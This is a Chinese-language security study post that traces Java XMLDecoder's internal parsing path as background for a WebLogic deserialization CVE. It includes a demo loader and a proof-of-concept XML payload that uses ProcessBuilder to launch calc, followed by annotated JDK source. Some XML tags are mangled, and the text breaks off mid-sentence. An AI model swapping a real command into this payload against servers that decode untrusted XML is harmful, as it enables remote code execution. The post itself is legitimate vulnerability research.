XMLDecoder解析流程分析

最开始是准备入手CVE-2018-10271的，结果百度搜了很多文章都是到MXLDecoder.readObject()就结束了。而我在此之前并没有接触过XMLDecoder，所以只能回头补课了。

首先写一个Demo进行调试

XMLDecoderDemo01

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;

public class XMLDecoderDemo01 {

    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        xd.readObject(); // 在这打断点
        xd.close();
    }


    public static void main(String[] args){
        //XMLDecode Deserialize Test
        String path = System.getProperty("user.dir") + "\\src\\pocDemo01.xml";

        try {
            
            XMLDecode_Deserialize(path);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

然后就是xml文档了。

pocDemo01.xml

<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calcstring>
            void>
        array>
        <void method="start" />
    object>
java>
1
2
3
4
5
6
7
8
9
10
11

非常简单的一个xml文档，通过ProcessBuilder启动计算器calc。

过程分析

进入debug模式，首先进入眼帘的是DocumentHandler.parse()方法，可以通过调用栈找到。

//DocumentHandler.java
public void parse(final InputSource var1) {
    if (this.acc == null && null != System.getSecurityManager()) {
        throw new SecurityException("AccessControlContext is not set");
    } else {
        AccessControlContext var2 = AccessController.getContext();
        SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
            public Void run() {
                try {
 /*看这行*/          SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
                } catch (ParserConfigurationException var3) {
                    DocumentHandler.this.handleException(var3);
                } catch (SAXException var4) {
                    Object var2 = var4.getException();
                    if (var2 == null) {
                        var2 = var4;
                    }

                    DocumentHandler.this.handleException((Exception)var2);
                } catch (IOException var5) {
                    DocumentHandler.this.handleException(var5);
                }

                return null;
            }
        }, var2, this.acc);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

在doIntersectionPrivilege()方法里的参数action是一个匿名类，而这个匿名类的run()方法会实例化SAXParser并调用其parse()方法，这是我们下一步的入口函数。

//SAXParserImpl.java
public void parse(InputSource is, DefaultHandler dh)
    throws SAXException, IOException {
    if (is == null) {
        throw new IllegalArgumentException();
    }
    if (dh != null) {
        xmlReader.setContentHandler(dh);
        xmlReader.setEntityResolver(dh);
        xmlReader.setErrorHandler(dh);
        xmlReader.setDTDHandler(dh);
        xmlReader.setDocumentHandler(null);
    }
    xmlReader.parse(is);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

这里的xmlReader是SAXParserImpl的一个内部类JAXPSAXParser。

//SAXParserImpl$JAXPSAXParser
public void parse(InputSource inputSource)
    throws SAXException, IOException {
    if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
        if (fSAXParser.fSchemaValidationManager != null) {
            fSAXParser.fSchemaValidationManager.reset();
            fSAXParser.fUnparsedEntityHandler.reset();
        }
        resetSchemaValidator();
    }
    super.parse(inputSource);
}
1
2
3
4
5
6
7
8
9
10
11
12

在之后会经过一系列的parse()方法，这些parse()方法主要是为了以后的解析过程做准备，一直到XML11Configuration.parse()方法才开始进行解析。

//XML11Configuration.java
public boolean parse(boolean complete) throws XNIException, IOException{
    
    /*...*/
    
    try {
            return fCurrentScanner.scanDocument(complete);
        } catch (XNIException ex) {}
    
}
1
2
3
4
5
6
7
8
9
10

顾名思义scanDocument()方法就是扫描我们的pocDemo01.xml文档的。

//XMLDocumentFragmentScannerImpl.java
/**
 * Scans a document.
 *
 * @param complete True if the scanner should scan the document
 *                 completely, pushing all events to the registered
 *                 document handler. A value of false indicates that
 *                 that the scanner should only scan the next portion
 *                 of the document and return. A scanner instance is
 *                 permitted to completely scan a document if it does
 *                 not support this "pull" scanning model.
 *
 * @return True if there is more to scan, false otherwise.
 */
public boolean scanDocument(boolean complete)
throws IOException, XNIException {

    // keep dispatching "events"
    fEntityManager.setEntityHandler(this);
    //System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler );

    int event = next();
    do {
        switch (event) {
            case XMLStreamConstants.START_DOCUMENT :
                break;
            case XMLStreamConstants.ATTRIBUTE :
                break;
            case XMLStreamConstants.END_ELEMENT :
                //do not give callback here.
                //this callback is given in scanEndElement function.
                //fDocumentHandler.endElement(getElementQName(),null);
                break;
            default :
                throw new InternalError("processing event: " + event);
        }
        event = next();
    } while (event!=XMLStreamConstants.END_DOCUMENT && complete);

    if(event == XMLStreamConstants.END_DOCUMENT) {
        fDocumentHandler.endDocument(null);
        return false;
    }

    return true;

} // scanDocument(boolean):boolean
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

这里一些老的文章在分析XMLStreamConstants.END_ELEMENT，但是可以看到已经被注释掉了。根据注释原来的处理方法被移动到scanEndElement function，在IDEA搜索scanEndElement函数，通过IDEA的usage功能，找到在next()方法里对该函数进行了调用，在scanEndElement()方法处打上断点。

来看一下next()的注释

/**
 * Drives the parser to the next state/event on the input. Parser is guaranteed
 * to stop at the next state/event. Internally XML document
 * is divided into several states. Each state represents a sections of XML
 * document. When this functions returns normally, it has read the section
 * of XML document and returns the state corresponding to section of
 * document which has been read. For optimizations, a particular driver
 * can read ahead of the section of document (state returned) just read and
 * can maintain a different internal state.
 *
 * State returned corresponds to Stax states.
 *
 * @return state representing the section of document just read.
 *
 * @throws IOException  Thrown on i/o error.
 * @throws XNIException Thrown on parse error.
 */

public int next() throws IOException, XNIException{}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

得知该函数就是解析XML文档的函数。因为其过程过于复杂，详细可看XMLDecoder 解析流程（详细讲解）。

简单来说，next()中每次解析出的结果都会有对应的Handler进行处理。

XML文档的解析是从里到外解析的，在本例中pocDemo01.xml就是先解析calc，往外一层的 ，以此类推，我们直接看到